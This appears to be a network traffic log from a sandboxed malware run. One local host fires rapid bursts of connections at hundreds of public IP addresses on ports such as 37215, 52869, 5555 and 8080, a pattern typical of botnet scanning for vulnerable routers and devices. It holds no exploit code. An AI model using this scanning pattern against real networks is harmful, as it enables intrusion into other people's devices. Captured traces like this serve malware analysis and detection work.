Feb 12, 2023 21:24:40.735833883 CET	52981	37215	192.168.2.23	157.248.9.207
Feb 12, 2023 21:24:40.735833883 CET	52981	37215	192.168.2.23	60.115.219.226
Feb 12, 2023 21:24:40.735833883 CET	52981	37215	192.168.2.23	157.156.126.239
Feb 12, 2023 21:24:40.735833883 CET	52981	37215	192.168.2.23	197.32.240.53
Feb 12, 2023 21:24:40.735841036 CET	52981	37215	192.168.2.23	41.134.30.5
Feb 12, 2023 21:24:40.735841036 CET	52981	37215	192.168.2.23	41.96.143.143
Feb 12, 2023 21:24:40.735841036 CET	52981	37215	192.168.2.23	197.50.193.242
Feb 12, 2023 21:24:40.735841036 CET	52981	37215	192.168.2.23	157.180.173.54
Feb 12, 2023 21:24:40.735841036 CET	52981	37215	192.168.2.23	157.75.215.43
Feb 12, 2023 21:24:40.735841036 CET	52981	37215	192.168.2.23	157.27.9.26
Feb 12, 2023 21:24:40.735874891 CET	52981	37215	192.168.2.23	160.53.158.175
Feb 12, 2023 21:24:40.735889912 CET	52981	37215	192.168.2.23	219.249.152.89
Feb 12, 2023 21:24:40.735889912 CET	52981	37215	192.168.2.23	197.102.109.120
Feb 12, 2023 21:24:40.735889912 CET	52981	37215	192.168.2.23	218.106.123.107
Feb 12, 2023 21:24:40.735889912 CET	52981	37215	192.168.2.23	41.151.15.70
Feb 12, 2023 21:24:40.735889912 CET	52981	37215	192.168.2.23	52.78.13.253
Feb 12, 2023 21:24:40.735889912 CET	52981	37215	192.168.2.23	197.227.80.213
Feb 12, 2023 21:24:40.735914946 CET	52981	37215	192.168.2.23	164.77.15.28
Feb 12, 2023 21:24:40.735914946 CET	52981	37215	192.168.2.23	157.26.226.191
Feb 12, 2023 21:24:40.735914946 CET	52981	37215	192.168.2.23	178.156.184.203
Feb 12, 2023 21:24:40.735914946 CET	52981	37215	192.168.2.23	157.219.105.237
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	157.5.179.171
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	157.44.104.136
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	197.176.166.208
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	41.51.251.184
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	197.253.243.125
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	41.166.21.219
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	188.184.62.228
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	122.105.105.245
Feb 12, 2023 21:24:40.735933065 CET	52981	37215	192.168.2.23	180.93.87.183
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	197.41.237.245
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	157.149.94.67
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	41.34.164.8
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	157.53.242.111
Feb 12, 2023 21:24:40.735933065 CET	52981	37215	192.168.2.23	12.156.55.176
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	43.21.81.129
Feb 12, 2023 21:24:40.735933065 CET	52981	37215	192.168.2.23	157.236.3.199
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	197.34.81.110
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	222.70.36.47
Feb 12, 2023 21:24:40.735933065 CET	52981	37215	192.168.2.23	41.37.61.67
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	157.139.105.220
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	14.81.107.149
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	41.6.185.62
Feb 12, 2023 21:24:40.735928059 CET	52981	37215	192.168.2.23	157.158.182.107
Feb 12, 2023 21:24:40.735925913 CET	52981	37215	192.168.2.23	102.219.126.44
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	157.125.254.160
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	17.238.238.23
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	216.92.242.14
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	197.21.153.77
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	41.128.228.217
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	211.244.149.184
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	157.226.193.187
Feb 12, 2023 21:24:40.735956907 CET	52981	37215	192.168.2.23	67.181.182.189
Feb 12, 2023 21:24:40.736008883 CET	52981	37215	192.168.2.23	115.105.26.0
Feb 12, 2023 21:24:40.736016035 CET	52981	37215	192.168.2.23	157.152.174.77
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	41.221.196.35
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	197.114.168.190
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	197.238.150.156
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	49.99.196.24
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	72.83.246.39
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	75.45.78.152
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	41.32.70.94
Feb 12, 2023 21:24:40.736027956 CET	52981	37215	192.168.2.23	192.177.245.160
Feb 12, 2023 21:24:40.736056089 CET	52981	37215	192.168.2.23	39.65.141.218
Feb 12, 2023 21:24:40.736129999 CET	52981	37215	192.168.2.23	41.170.99.10
Feb 12, 2023 21:24:40.736130953 CET	52981	37215	192.168.2.23	197.223.121.9
Feb 12, 2023 21:24:40.736130953 CET	52981	37215	192.168.2.23	189.144.55.177
Feb 12, 2023 21:24:40.736133099 CET	52981	37215	192.168.2.23	155.85.107.35
Feb 12, 2023 21:24:40.736130953 CET	52981	37215	192.168.2.23	41.80.27.83
Feb 12, 2023 21:24:40.736133099 CET	52981	37215	192.168.2.23	197.59.240.10
Feb 12, 2023 21:24:40.736133099 CET	52981	37215	192.168.2.23	41.231.213.89
Feb 12, 2023 21:24:40.736133099 CET	52981	37215	192.168.2.23	41.63.81.93
Feb 12, 2023 21:24:40.736133099 CET	52981	37215	192.168.2.23	128.220.210.213
Feb 12, 2023 21:24:40.736133099 CET	52981	37215	192.168.2.23	197.86.105.238
Feb 12, 2023 21:24:40.736133099 CET	52981	37215	192.168.2.23	157.64.29.76
Feb 12, 2023 21:24:40.736411095 CET	52981	37215	192.168.2.23	157.30.76.99
Feb 12, 2023 21:24:40.736412048 CET	52981	37215	192.168.2.23	41.132.151.101
Feb 12, 2023 21:24:40.753366947 CET	8080	44028	49.51.46.50	192.168.2.23
Feb 12, 2023 21:24:40.753679991 CET	37362	80	192.168.2.23	49.51.46.50
Feb 12, 2023 21:24:40.795465946 CET	37215	52981	41.62.85.225	192.168.2.23
Feb 12, 2023 21:24:40.795733929 CET	52981	37215	192.168.2.23	41.62.85.225
Feb 12, 2023 21:24:40.816149950 CET	53504	7574	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:40.816155910 CET	47158	80	192.168.2.23	52.55.46.50
Feb 12, 2023 21:24:40.816355944 CET	42206	5555	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:40.826436996 CET	5555	22272	219.73.115.53	192.168.2.23
Feb 12, 2023 21:24:40.841171026 CET	5555	22272	172.115.91.184	192.168.2.23
Feb 12, 2023 21:24:40.898353100 CET	5555	22272	103.90.78.162	192.168.2.23
Feb 12, 2023 21:24:40.920780897 CET	56006	37215	192.168.2.23	49.51.46.50
Feb 12, 2023 21:24:40.921854973 CET	50656	37215	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:40.923015118 CET	35150	37215	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:40.924004078 CET	80	37362	49.51.46.50	192.168.2.23
Feb 12, 2023 21:24:40.924515963 CET	48158	37215	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:40.925704002 CET	51378	37215	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:40.976135015 CET	44612	80	192.168.2.23	56.52.46.49
Feb 12, 2023 21:24:40.976141930 CET	45950	80	192.168.2.23	56.57.46.49
Feb 12, 2023 21:24:40.976141930 CET	60252	80	192.168.2.23	56.52.46.57
Feb 12, 2023 21:24:40.976159096 CET	48218	80	192.168.2.23	56.52.46.52
Feb 12, 2023 21:24:40.976159096 CET	54954	80	192.168.2.23	54.50.46.50
Feb 12, 2023 21:24:40.976170063 CET	54958	80	192.168.2.23	54.50.46.50
Feb 12, 2023 21:24:41.002254009 CET	37215	52981	119.218.5.72	192.168.2.23
Feb 12, 2023 21:24:41.038877010 CET	37215	52981	219.249.152.89	192.168.2.23
Feb 12, 2023 21:24:41.039356947 CET	37215	52981	197.4.71.198	192.168.2.23
Feb 12, 2023 21:24:41.072129011 CET	45020	80	192.168.2.23	49.57.46.49
Feb 12, 2023 21:24:41.072144032 CET	50106	80	192.168.2.23	49.53.53.46
Feb 12, 2023 21:24:41.072148085 CET	39222	80	192.168.2.23	49.57.55.46
Feb 12, 2023 21:24:41.072148085 CET	60318	80	192.168.2.23	49.50.46.49
Feb 12, 2023 21:24:41.072175980 CET	55984	80	192.168.2.23	49.55.56.46
Feb 12, 2023 21:24:41.072175980 CET	50562	80	192.168.2.23	49.49.53.46
Feb 12, 2023 21:24:41.072181940 CET	42568	80	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:41.072179079 CET	45644	80	192.168.2.23	50.48.56.46
Feb 12, 2023 21:24:41.072181940 CET	44510	80	192.168.2.23	57.54.46.49
Feb 12, 2023 21:24:41.090986967 CET	37215	56006	49.51.46.50	192.168.2.23
Feb 12, 2023 21:24:41.136100054 CET	51548	80	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:41.227632046 CET	52070	7574	192.168.2.23	49.51.46.50
Feb 12, 2023 21:24:41.264133930 CET	45850	52869	192.168.2.23	57.53.46.57
Feb 12, 2023 21:24:41.264142990 CET	36480	52869	192.168.2.23	54.46.49.52
Feb 12, 2023 21:24:41.264142990 CET	37492	52869	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:41.264162064 CET	48792	52869	192.168.2.23	55.50.46.50
Feb 12, 2023 21:24:41.296159029 CET	52134	52869	192.168.2.23	50.49.46.49
Feb 12, 2023 21:24:41.296158075 CET	33538	52869	192.168.2.23	56.46.50.53
Feb 12, 2023 21:24:41.296159029 CET	43004	52869	192.168.2.23	49.56.53.46
Feb 12, 2023 21:24:41.296159029 CET	49188	52869	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:41.296168089 CET	34592	52869	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:41.296168089 CET	58102	52869	192.168.2.23	49.55.50.46
Feb 12, 2023 21:24:41.397200108 CET	7574	52070	49.51.46.50	192.168.2.23
Feb 12, 2023 21:24:41.397439003 CET	42432	5555	192.168.2.23	49.51.46.50
Feb 12, 2023 21:24:41.424173117 CET	51786	81	192.168.2.23	57.53.46.50
Feb 12, 2023 21:24:41.530656099 CET	60174	80	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:41.567497969 CET	5555	42432	49.51.46.50	192.168.2.23
Feb 12, 2023 21:24:41.609755039 CET	22272	5555	192.168.2.23	168.4.99.30
Feb 12, 2023 21:24:41.609760046 CET	22272	5555	192.168.2.23	58.91.222.166
Feb 12, 2023 21:24:41.609761953 CET	22272	5555	192.168.2.23	35.35.146.194
Feb 12, 2023 21:24:41.609761000 CET	22272	5555	192.168.2.23	42.253.116.241
Feb 12, 2023 21:24:41.609769106 CET	22272	5555	192.168.2.23	120.50.130.141
Feb 12, 2023 21:24:41.609787941 CET	22272	5555	192.168.2.23	156.42.131.136
Feb 12, 2023 21:24:41.609813929 CET	22272	5555	192.168.2.23	14.178.75.223
Feb 12, 2023 21:24:41.609816074 CET	22272	5555	192.168.2.23	153.92.235.15
Feb 12, 2023 21:24:41.609818935 CET	22272	5555	192.168.2.23	194.121.195.68
Feb 12, 2023 21:24:41.609836102 CET	22272	5555	192.168.2.23	218.76.32.20
Feb 12, 2023 21:24:41.609842062 CET	22272	5555	192.168.2.23	74.44.200.169
Feb 12, 2023 21:24:41.609846115 CET	22272	5555	192.168.2.23	45.203.88.229
Feb 12, 2023 21:24:41.609848022 CET	22272	5555	192.168.2.23	107.99.195.159
Feb 12, 2023 21:24:41.609854937 CET	22272	5555	192.168.2.23	9.126.138.40
Feb 12, 2023 21:24:41.609863997 CET	22272	5555	192.168.2.23	166.52.110.15
Feb 12, 2023 21:24:41.609865904 CET	22272	5555	192.168.2.23	220.198.155.126
Feb 12, 2023 21:24:41.609869957 CET	22272	5555	192.168.2.23	86.144.113.128
Feb 12, 2023 21:24:41.609882116 CET	22272	5555	192.168.2.23	152.136.174.227
Feb 12, 2023 21:24:41.609899044 CET	22272	5555	192.168.2.23	97.165.72.51
Feb 12, 2023 21:24:41.609904051 CET	22272	5555	192.168.2.23	104.76.149.255
Feb 12, 2023 21:24:41.609915018 CET	22272	5555	192.168.2.23	171.211.60.13
Feb 12, 2023 21:24:41.609921932 CET	22272	5555	192.168.2.23	90.18.69.119
Feb 12, 2023 21:24:41.609940052 CET	22272	5555	192.168.2.23	101.233.21.186
Feb 12, 2023 21:24:41.609946012 CET	22272	5555	192.168.2.23	137.50.86.220
Feb 12, 2023 21:24:41.609946012 CET	22272	5555	192.168.2.23	158.205.51.74
Feb 12, 2023 21:24:41.609963894 CET	22272	5555	192.168.2.23	152.167.86.45
Feb 12, 2023 21:24:41.609963894 CET	22272	5555	192.168.2.23	186.145.246.100
Feb 12, 2023 21:24:41.609976053 CET	22272	5555	192.168.2.23	198.73.111.251
Feb 12, 2023 21:24:41.609985113 CET	22272	5555	192.168.2.23	159.120.206.116
Feb 12, 2023 21:24:41.610001087 CET	22272	5555	192.168.2.23	128.233.22.243
Feb 12, 2023 21:24:41.610001087 CET	22272	5555	192.168.2.23	43.152.200.122
Feb 12, 2023 21:24:41.610013008 CET	22272	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:41.610021114 CET	22272	5555	192.168.2.23	20.120.235.137
Feb 12, 2023 21:24:41.610034943 CET	22272	5555	192.168.2.23	181.58.59.54
Feb 12, 2023 21:24:41.610039949 CET	22272	5555	192.168.2.23	74.171.169.118
Feb 12, 2023 21:24:41.610054970 CET	22272	5555	192.168.2.23	8.108.152.40
Feb 12, 2023 21:24:41.610071898 CET	22272	5555	192.168.2.23	91.124.70.53
Feb 12, 2023 21:24:41.610071898 CET	22272	5555	192.168.2.23	177.158.133.209
Feb 12, 2023 21:24:41.610090971 CET	22272	5555	192.168.2.23	115.27.125.170
Feb 12, 2023 21:24:41.610101938 CET	22272	5555	192.168.2.23	104.225.128.223
Feb 12, 2023 21:24:41.610107899 CET	22272	5555	192.168.2.23	166.215.159.201
Feb 12, 2023 21:24:41.610116959 CET	22272	5555	192.168.2.23	217.22.147.95
Feb 12, 2023 21:24:41.610129118 CET	22272	5555	192.168.2.23	75.176.115.125
Feb 12, 2023 21:24:41.610132933 CET	22272	5555	192.168.2.23	12.144.176.60
Feb 12, 2023 21:24:41.610151052 CET	22272	5555	192.168.2.23	54.236.222.228
Feb 12, 2023 21:24:41.610156059 CET	22272	5555	192.168.2.23	146.155.163.202
Feb 12, 2023 21:24:41.610157967 CET	22272	5555	192.168.2.23	47.46.142.52
Feb 12, 2023 21:24:41.610158920 CET	22272	5555	192.168.2.23	154.21.195.162
Feb 12, 2023 21:24:41.610162973 CET	22272	5555	192.168.2.23	190.71.119.195
Feb 12, 2023 21:24:41.610168934 CET	22272	5555	192.168.2.23	39.207.217.214
Feb 12, 2023 21:24:41.610177040 CET	22272	5555	192.168.2.23	165.20.139.116
Feb 12, 2023 21:24:41.610183954 CET	22272	5555	192.168.2.23	126.71.144.181
Feb 12, 2023 21:24:41.610204935 CET	22272	5555	192.168.2.23	54.199.79.220
Feb 12, 2023 21:24:41.610204935 CET	22272	5555	192.168.2.23	138.198.190.58
Feb 12, 2023 21:24:41.610236883 CET	22272	5555	192.168.2.23	76.75.93.87
Feb 12, 2023 21:24:41.610260963 CET	22272	5555	192.168.2.23	148.84.129.211
Feb 12, 2023 21:24:41.610263109 CET	22272	5555	192.168.2.23	114.44.97.149
Feb 12, 2023 21:24:41.610263109 CET	22272	5555	192.168.2.23	166.150.173.141
Feb 12, 2023 21:24:41.610266924 CET	22272	5555	192.168.2.23	172.192.129.178
Feb 12, 2023 21:24:41.610266924 CET	22272	5555	192.168.2.23	194.242.178.117
Feb 12, 2023 21:24:41.610266924 CET	22272	5555	192.168.2.23	170.157.18.131
Feb 12, 2023 21:24:41.610295057 CET	22272	5555	192.168.2.23	178.206.62.150
Feb 12, 2023 21:24:41.610297918 CET	22272	5555	192.168.2.23	43.123.127.10
Feb 12, 2023 21:24:41.610299110 CET	22272	5555	192.168.2.23	68.192.112.240
Feb 12, 2023 21:24:41.610297918 CET	22272	5555	192.168.2.23	68.85.96.217
Feb 12, 2023 21:24:41.610300064 CET	22272	5555	192.168.2.23	133.34.107.47
Feb 12, 2023 21:24:41.610297918 CET	22272	5555	192.168.2.23	74.10.192.245
Feb 12, 2023 21:24:41.610335112 CET	22272	5555	192.168.2.23	94.173.224.108
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	158.36.37.171
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	25.71.253.130
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	98.87.89.206
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	81.209.14.184
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	77.224.111.167
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	118.100.124.131
Feb 12, 2023 21:24:41.610341072 CET	22272	5555	192.168.2.23	152.83.137.200
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	167.254.192.200
Feb 12, 2023 21:24:41.610337019 CET	22272	5555	192.168.2.23	65.52.111.204
Feb 12, 2023 21:24:41.610341072 CET	22272	5555	192.168.2.23	39.202.151.134
Feb 12, 2023 21:24:41.610363007 CET	22272	5555	192.168.2.23	74.69.4.191
Feb 12, 2023 21:24:41.610366106 CET	22272	5555	192.168.2.23	64.185.131.154
Feb 12, 2023 21:24:41.610366106 CET	22272	5555	192.168.2.23	118.182.183.35
Feb 12, 2023 21:24:41.610366106 CET	22272	5555	192.168.2.23	125.200.143.16
Feb 12, 2023 21:24:41.610388041 CET	22272	5555	192.168.2.23	165.144.157.74
Feb 12, 2023 21:24:41.610388041 CET	22272	5555	192.168.2.23	121.24.194.27
Feb 12, 2023 21:24:41.610388041 CET	22272	5555	192.168.2.23	204.181.86.99
Feb 12, 2023 21:24:41.610388994 CET	22272	5555	192.168.2.23	122.155.7.201
Feb 12, 2023 21:24:41.610388994 CET	22272	5555	192.168.2.23	141.196.199.241
Feb 12, 2023 21:24:41.610388994 CET	22272	5555	192.168.2.23	171.161.155.180
Feb 12, 2023 21:24:41.610388041 CET	22272	5555	192.168.2.23	24.243.111.91
Feb 12, 2023 21:24:41.610388994 CET	22272	5555	192.168.2.23	172.159.189.205
Feb 12, 2023 21:24:41.610388994 CET	22272	5555	192.168.2.23	37.90.116.230
Feb 12, 2023 21:24:41.610388041 CET	22272	5555	192.168.2.23	73.43.153.64
Feb 12, 2023 21:24:41.610388994 CET	22272	5555	192.168.2.23	14.146.138.13
Feb 12, 2023 21:24:41.610395908 CET	22272	5555	192.168.2.23	123.70.121.6
Feb 12, 2023 21:24:41.610395908 CET	22272	5555	192.168.2.23	19.126.56.185
Feb 12, 2023 21:24:41.610395908 CET	22272	5555	192.168.2.23	139.166.98.153
Feb 12, 2023 21:24:41.610424995 CET	22272	5555	192.168.2.23	145.47.146.140
Feb 12, 2023 21:24:41.610426903 CET	22272	5555	192.168.2.23	38.20.151.69
Feb 12, 2023 21:24:41.610430002 CET	22272	5555	192.168.2.23	170.230.201.63
Feb 12, 2023 21:24:41.610430956 CET	22272	5555	192.168.2.23	178.78.9.121
Feb 12, 2023 21:24:41.610431910 CET	22272	5555	192.168.2.23	184.54.113.164
Feb 12, 2023 21:24:41.610434055 CET	22272	5555	192.168.2.23	136.114.91.88
Feb 12, 2023 21:24:41.610434055 CET	22272	5555	192.168.2.23	208.253.53.117
Feb 12, 2023 21:24:41.610434055 CET	22272	5555	192.168.2.23	102.29.134.20
Feb 12, 2023 21:24:41.610443115 CET	22272	5555	192.168.2.23	167.201.223.0
Feb 12, 2023 21:24:41.610443115 CET	22272	5555	192.168.2.23	186.210.29.232
Feb 12, 2023 21:24:41.610460043 CET	22272	5555	192.168.2.23	218.27.153.93
Feb 12, 2023 21:24:41.610461950 CET	22272	5555	192.168.2.23	65.25.32.12
Feb 12, 2023 21:24:41.610462904 CET	22272	5555	192.168.2.23	46.92.9.160
Feb 12, 2023 21:24:41.610461950 CET	22272	5555	192.168.2.23	153.50.208.174
Feb 12, 2023 21:24:41.610462904 CET	22272	5555	192.168.2.23	2.214.147.203
Feb 12, 2023 21:24:41.610462904 CET	22272	5555	192.168.2.23	198.93.43.108
Feb 12, 2023 21:24:41.610466957 CET	22272	5555	192.168.2.23	36.45.109.186
Feb 12, 2023 21:24:41.610469103 CET	22272	5555	192.168.2.23	156.11.42.216
Feb 12, 2023 21:24:41.610480070 CET	22272	5555	192.168.2.23	112.195.109.244
Feb 12, 2023 21:24:41.610483885 CET	22272	5555	192.168.2.23	86.190.87.8
Feb 12, 2023 21:24:41.610483885 CET	22272	5555	192.168.2.23	200.240.100.192
Feb 12, 2023 21:24:41.610486984 CET	22272	5555	192.168.2.23	80.169.50.240
Feb 12, 2023 21:24:41.610516071 CET	22272	5555	192.168.2.23	195.10.248.87
Feb 12, 2023 21:24:41.610517025 CET	22272	5555	192.168.2.23	32.107.56.56
Feb 12, 2023 21:24:41.610516071 CET	22272	5555	192.168.2.23	192.95.113.16
Feb 12, 2023 21:24:41.610518932 CET	22272	5555	192.168.2.23	183.236.43.54
Feb 12, 2023 21:24:41.610518932 CET	22272	5555	192.168.2.23	156.141.38.21
Feb 12, 2023 21:24:41.610518932 CET	22272	5555	192.168.2.23	112.137.52.98
Feb 12, 2023 21:24:41.610516071 CET	22272	5555	192.168.2.23	5.126.35.29
Feb 12, 2023 21:24:41.610518932 CET	22272	5555	192.168.2.23	130.178.14.172
Feb 12, 2023 21:24:41.610516071 CET	22272	5555	192.168.2.23	88.210.149.164
Feb 12, 2023 21:24:41.610516071 CET	22272	5555	192.168.2.23	210.165.159.206
Feb 12, 2023 21:24:41.610527039 CET	22272	5555	192.168.2.23	74.233.189.67
Feb 12, 2023 21:24:41.610527992 CET	22272	5555	192.168.2.23	59.152.185.30
Feb 12, 2023 21:24:41.610527992 CET	22272	5555	192.168.2.23	151.190.113.147
Feb 12, 2023 21:24:41.610527992 CET	22272	5555	192.168.2.23	126.64.195.106
Feb 12, 2023 21:24:41.610527992 CET	22272	5555	192.168.2.23	64.225.172.94
Feb 12, 2023 21:24:41.610543966 CET	22272	5555	192.168.2.23	65.202.186.44
Feb 12, 2023 21:24:41.610546112 CET	22272	5555	192.168.2.23	34.62.105.108
Feb 12, 2023 21:24:41.610546112 CET	22272	5555	192.168.2.23	132.230.149.35
Feb 12, 2023 21:24:41.610548973 CET	22272	5555	192.168.2.23	72.189.24.197
Feb 12, 2023 21:24:41.610549927 CET	22272	5555	192.168.2.23	35.88.203.59
Feb 12, 2023 21:24:41.610549927 CET	22272	5555	192.168.2.23	103.236.98.176
Feb 12, 2023 21:24:41.610579967 CET	22272	5555	192.168.2.23	63.119.23.199
Feb 12, 2023 21:24:41.610579967 CET	22272	5555	192.168.2.23	109.87.223.140
Feb 12, 2023 21:24:41.610582113 CET	22272	5555	192.168.2.23	159.59.221.128
Feb 12, 2023 21:24:41.610585928 CET	22272	5555	192.168.2.23	183.142.227.4
Feb 12, 2023 21:24:41.610585928 CET	22272	5555	192.168.2.23	145.33.10.227
Feb 12, 2023 21:24:41.610585928 CET	22272	5555	192.168.2.23	111.77.24.55
Feb 12, 2023 21:24:41.610585928 CET	22272	5555	192.168.2.23	177.197.12.102
Feb 12, 2023 21:24:41.610590935 CET	22272	5555	192.168.2.23	57.175.207.209
Feb 12, 2023 21:24:41.610590935 CET	22272	5555	192.168.2.23	150.71.217.24
Feb 12, 2023 21:24:41.610590935 CET	22272	5555	192.168.2.23	88.22.138.49
Feb 12, 2023 21:24:41.610590935 CET	22272	5555	192.168.2.23	91.33.219.12
Feb 12, 2023 21:24:41.610590935 CET	22272	5555	192.168.2.23	27.22.207.158
Feb 12, 2023 21:24:41.610595942 CET	22272	5555	192.168.2.23	165.42.195.223
Feb 12, 2023 21:24:41.610595942 CET	22272	5555	192.168.2.23	147.201.164.52
Feb 12, 2023 21:24:41.610600948 CET	22272	5555	192.168.2.23	196.56.36.109
Feb 12, 2023 21:24:41.610600948 CET	22272	5555	192.168.2.23	219.195.108.203
Feb 12, 2023 21:24:41.610610008 CET	22272	5555	192.168.2.23	165.26.114.70
Feb 12, 2023 21:24:41.610613108 CET	22272	5555	192.168.2.23	87.253.202.78
Feb 12, 2023 21:24:41.610613108 CET	22272	5555	192.168.2.23	160.123.19.40
Feb 12, 2023 21:24:41.610615015 CET	22272	5555	192.168.2.23	86.65.183.182
Feb 12, 2023 21:24:41.610613108 CET	22272	5555	192.168.2.23	170.66.13.139
Feb 12, 2023 21:24:41.616050005 CET	39210	8080	192.168.2.23	53.56.46.49
Feb 12, 2023 21:24:41.616125107 CET	46134	8080	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:41.616131067 CET	46264	8080	192.168.2.23	54.50.46.49
Feb 12, 2023 21:24:41.616134882 CET	51942	8080	192.168.2.23	49.53.54.46
Feb 12, 2023 21:24:41.620075941 CET	55360	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:41.620084047 CET	50446	8080	192.168.2.23	49.50.51.46
Feb 12, 2023 21:24:41.620084047 CET	32828	8080	192.168.2.23	49.52.55.46
Feb 12, 2023 21:24:41.648122072 CET	55464	8080	192.168.2.23	49.51.57.46
Feb 12, 2023 21:24:41.648211956 CET	51342	8080	192.168.2.23	49.56.54.46
Feb 12, 2023 21:24:41.712091923 CET	38886	37215	192.168.2.23	197.197.154.150
Feb 12, 2023 21:24:41.731240988 CET	5555	22272	152.30.23.146	192.168.2.23
Feb 12, 2023 21:24:41.731430054 CET	22272	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:41.737256050 CET	52981	37215	192.168.2.23	157.42.20.242
Feb 12, 2023 21:24:41.737334013 CET	52981	37215	192.168.2.23	157.109.233.50
Feb 12, 2023 21:24:41.737350941 CET	52981	37215	192.168.2.23	71.208.52.55
Feb 12, 2023 21:24:41.737360001 CET	52981	37215	192.168.2.23	197.210.119.94
Feb 12, 2023 21:24:41.737411976 CET	52981	37215	192.168.2.23	182.79.59.151
Feb 12, 2023 21:24:41.737410069 CET	52981	37215	192.168.2.23	197.227.69.30
Feb 12, 2023 21:24:41.737422943 CET	52981	37215	192.168.2.23	41.214.46.214
Feb 12, 2023 21:24:41.737457037 CET	52981	37215	192.168.2.23	41.125.104.182
Feb 12, 2023 21:24:41.737456083 CET	52981	37215	192.168.2.23	197.248.177.12
Feb 12, 2023 21:24:41.737485886 CET	52981	37215	192.168.2.23	41.231.125.200
Feb 12, 2023 21:24:41.737500906 CET	52981	37215	192.168.2.23	41.91.1.29
Feb 12, 2023 21:24:41.737504005 CET	52981	37215	192.168.2.23	102.58.148.107
Feb 12, 2023 21:24:41.737576008 CET	52981	37215	192.168.2.23	157.50.168.99
Feb 12, 2023 21:24:41.737600088 CET	52981	37215	192.168.2.23	157.131.195.223
Feb 12, 2023 21:24:41.737600088 CET	52981	37215	192.168.2.23	157.245.201.126
Feb 12, 2023 21:24:41.737632990 CET	52981	37215	192.168.2.23	32.235.172.187
Feb 12, 2023 21:24:41.737674952 CET	52981	37215	192.168.2.23	41.100.253.162
Feb 12, 2023 21:24:41.737708092 CET	52981	37215	192.168.2.23	157.49.80.25
Feb 12, 2023 21:24:41.737720966 CET	52981	37215	192.168.2.23	157.92.74.178
Feb 12, 2023 21:24:41.737723112 CET	52981	37215	192.168.2.23	157.203.210.50
Feb 12, 2023 21:24:41.737730026 CET	52981	37215	192.168.2.23	197.220.66.65
Feb 12, 2023 21:24:41.737787962 CET	52981	37215	192.168.2.23	117.219.198.243
Feb 12, 2023 21:24:41.737838030 CET	52981	37215	192.168.2.23	197.201.38.4
Feb 12, 2023 21:24:41.738010883 CET	52981	37215	192.168.2.23	128.94.9.250
Feb 12, 2023 21:24:41.738126993 CET	52981	37215	192.168.2.23	197.227.202.195
Feb 12, 2023 21:24:41.738131046 CET	52981	37215	192.168.2.23	197.194.163.59
Feb 12, 2023 21:24:41.738153934 CET	52981	37215	192.168.2.23	197.70.17.217
Feb 12, 2023 21:24:41.738172054 CET	52981	37215	192.168.2.23	123.4.240.238
Feb 12, 2023 21:24:41.738193989 CET	52981	37215	192.168.2.23	41.115.104.52
Feb 12, 2023 21:24:41.738208055 CET	52981	37215	192.168.2.23	197.195.56.141
Feb 12, 2023 21:24:41.738238096 CET	52981	37215	192.168.2.23	197.26.186.86
Feb 12, 2023 21:24:41.738254070 CET	52981	37215	192.168.2.23	41.22.122.252
